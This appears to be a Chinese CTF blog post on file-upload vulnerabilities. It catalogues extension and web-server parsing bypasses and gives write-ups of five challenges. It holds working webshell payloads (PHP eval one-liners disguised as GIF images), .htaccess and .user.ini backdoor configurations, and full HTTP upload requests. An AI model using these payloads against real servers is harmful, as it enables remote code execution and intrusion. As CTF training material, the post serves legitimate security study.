M0nk3y's Blog

CTF - 文件上传

Word count: 2.3kReading time: 11 min
2020/08/30 Share

文件上传漏洞技术点

参考资料:http://gv7.me/articles/2018/make-upload-vul-fuzz-dic/

CheckFile 分为C前端和S后端:

  • 前端绕过直接BP 抓包就可以了 、或者在浏览器的Console 里将CheckFile() 函数置空(相当于删除。
  • 后端检测主要针对文件后缀,文件内容,以及Content-Type,MIMI-Type ,较难的有二次渲染,数组绕过,通过修改配置文件绕过,畸形解析。

可解析后缀

CTF文件上传题中常用的php拓展名:

image-20200830213958438

  • 利用中间件解析漏洞绕过检查,实战常用
  • 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析( .user.ini 适用性更广,后者只能用于Apache

.user.ini 和 .htaccess 中的小技巧

\ 可用于换行,常常出现在一些非预期中。

还可以通过重写这两个文件改变编码(UTF-7)来绕过,较复杂。

.htaccess 中 # 可用于注释。

文件包含.htaccess 读取配置,然后访问其中的链接。

  • %00截断绕过
  • php3
  • php4
  • php5
  • php7
  • phtml
  • phps
  • pht
  • Windows ADS流特性 ::$DATA
  • Windows 文件名特性,后缀后加空格,加其他字符。

系统特性

  • Windows下文件名不区分大小写,Linux下文件名区分
  • Windows下ADS流特性,导致上传文件xxx.php::$DATA = xxx.php
  • Windows下文件名结尾加入.,空格,<>,>>>,0x81-0xff等字符,最终生成的文件均被windows忽略。

中间件

  • iis

iis一共有三个解析漏洞:

1.IIS6.0文件解析 xx.asp;.jpg
2.IIS6.0目录解析 xx.asp/1.jpg
3.IIS 7.0畸形解析 xxx.jpg/x.asp

  • apache
  1. %0a(CVE-2017-15715)
  2. 未知后缀 test.php.xxx
  • nginx
  1. 访问连接加/xxx.php test.jpg/xxx.php
  2. 畸形解析漏洞 test.jpg%00xxx.php
  3. CVE-2013-4547 test.jpg(非编码空格)\0x.php
  • tomcat

tomcat用于上传绕过的有三种,不过限制在windows操作系统下。

  1. xxx.jsp/
  2. xxx.jsp%20
  3. xxx.jsp::$DATA

框架特性、程序逻辑

比如:

  • ThinkPHP 的多文件上传逻辑

  • 程序逻辑:大胆尝试。(有些是函数使用不严格,导致了绕过

  • 条件竞争

CTF

[极客大挑战 2019]Upload

技术点:

  • JS绕过对<?php 的检测
  • Content-Type 绕过
  • 常见可解析后缀bypass

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /upload_file.php HTTP/1.1
Host: 77ae3ce4-3fb3-4a06-9fc8-f986cc7b3b5a.node3.buuoj.cn
Content-Length: 354
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://77ae3ce4-3fb3-4a06-9fc8-f986cc7b3b5a.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeK0id0O3p4ekLat6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://77ae3ce4-3fb3-4a06-9fc8-f986cc7b3b5a.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryeK0id0O3p4ekLat6
Content-Disposition: form-data; name="file"; filename="basic_php_webshell.phtml"
Content-Type: image/png

GIF89a
<script language="php">@eval($_POST[A]);</script>

------WebKitFormBoundaryeK0id0O3p4ekLat6
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryeK0id0O3p4ekLat6--

Webshell 地址:url/upload/webshell.php 连接密码为A。

获取flag:虚拟终端执行 cat /flag

后端伪代码可能为:

1
2
3
4
preg_match('/<?/i',flie_get_contents($upload_file));
echo "no <?";
preg_match('/|php|pht|phtm|...|/i',file_extension);
die('hacker');

[ACTF2020 新生赛]Upload

技术点:

  • 前端校验bypass(通过BurpSuite 抓包
  • 常见可解析后缀bypass

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST / HTTP/1.1
Host: 7f8fc00a-bb3c-4388-9b8d-d0fcdecd632c.node3.buuoj.cn
Content-Length: 338
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://7f8fc00a-bb3c-4388-9b8d-d0fcdecd632c.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4TEVfSl48M3KTzel
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://7f8fc00a-bb3c-4388-9b8d-d0fcdecd632c.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary4TEVfSl48M3KTzel
Content-Disposition: form-data; name="upload_file"; filename="basic_php_webshell.phtml"
Content-Type: image/jpeg

GIF89a
<?php @eval($_POST[1]);?>

------WebKitFormBoundary4TEVfSl48M3KTzel
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundary4TEVfSl48M3KTzel--

[GXYCTF2019]BabyUpload

技术点:

  • .htaccess 重写绕过黑名单解析GetShell
  • Content-Type Bypass
  • <? Bypass

上传.htaccess

  • 使 png 文件解析为php
1
AddType  application/x-httpd-php    .png
  • 将所有文件解析为php
1
SetHandler application/x-httpd-php
  • .htaccess留后门,添加php解析规则,文件名包含1则解析为php
1
2
3
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST / HTTP/1.1
Host: 1b930c8d-beda-47e3-ba7c-85bc358075d3.node3.buuoj.cn
Content-Length: 359
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1b930c8d-beda-47e3-ba7c-85bc358075d3.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWrINBQvOPdxaBJwJ
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1b930c8d-beda-47e3-ba7c-85bc358075d3.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=ae2f4a4366a5ea0ece393127ad9b864e
Connection: close

------WebKitFormBoundaryWrINBQvOPdxaBJwJ
Content-Disposition: form-data; name="uploaded"; filename="basic_php_webshell.png"
Content-Type: image/jpeg

GIF89a
<script language="php">@ eval($_POST[A]);</script>

------WebKitFormBoundaryWrINBQvOPdxaBJwJ
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryWrINBQvOPdxaBJwJ--

[SUCTF 2019]CheckIn

技术点:

  • .user.ini 文件重写绕过黑名单GetShell

技术概述:

auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

利用条件:

  • 服务器脚本语言为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件

技术点细节参考:https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html

  • 满足条件一:上传目录下有可执行的php文件

image-20200830225229206

利用过程:

先上传.user.ini 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 870fbc35-aa6b-40c3-9ea0-b854574f86a2.node3.buuoj.cn
Content-Length: 336
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://870fbc35-aa6b-40c3-9ea0-b854574f86a2.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6dvjBUhTD4exggyU
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://870fbc35-aa6b-40c3-9ea0-b854574f86a2.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary6dvjBUhTD4exggyU
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=basic_php_webshell.jpg

------WebKitFormBoundary6dvjBUhTD4exggyU
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary6dvjBUhTD4exggyU--

上传WebShell(需要绕过<? 和 Content-Type

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 870fbc35-aa6b-40c3-9ea0-b854574f86a2.node3.buuoj.cn
Content-Length: 359
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://870fbc35-aa6b-40c3-9ea0-b854574f86a2.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8yvecxrZpVYWNxvE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://870fbc35-aa6b-40c3-9ea0-b854574f86a2.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary8yvecxrZpVYWNxvE
Content-Disposition: form-data; name="fileUpload"; filename="basic_php_webshell.jpg"
Content-Type: image/jpeg

GIF89a
<script language="php">@eval($_POST[A]);</script>

------WebKitFormBoundary8yvecxrZpVYWNxvE
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary8yvecxrZpVYWNxvE--

[RoarCTF 2019]Simple Upload

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) { // 检测文件后缀是否含有php
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
  • Thinkphp 的多文件上传(当upload()函数不传参数时,默认为多文件上传,整个$_FILES数组的文件都会被上传)
  • uniqid 设置文件路径不合理, 存在可爆破的可能性
  • $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg'); allowExts 方法用于检测文件名就没用了, 因为这种情况默认只检查一次, 而多文件上传时就绕过了文件检测

思路 :

  1. 获取文件上传的默认路径
  2. 伪造文件上传的HTTP Request 请求包
  3. 上传多个文件
  4. 对文件名进行爆破(因为连续上传的文件,uniqid处理是微秒级别的,所以差别不会太大)

Author:m0nk3y

原文链接:https://hack-for.fun/103ec22a.html

发表日期:August 30th 2020, 9:01:05 pm

更新日期:August 31st 2020, 10:25:04 am

版权声明:原创文章转载时请注明出处

CATALOG
  1. 1. 文件上传漏洞技术点
    1. 1.1. 可解析后缀
    2. 1.2. 系统特性
    3. 1.3. 中间件
    4. 1.4. 框架特性、程序逻辑
  2. 2. CTF
    1. 2.1. [极客大挑战 2019]Upload
    2. 2.2. [ACTF2020 新生赛]Upload
    3. 2.3. [GXYCTF2019]BabyUpload
    4. 2.4. [SUCTF 2019]CheckIn
    5. 2.5. [RoarCTF 2019]Simple Upload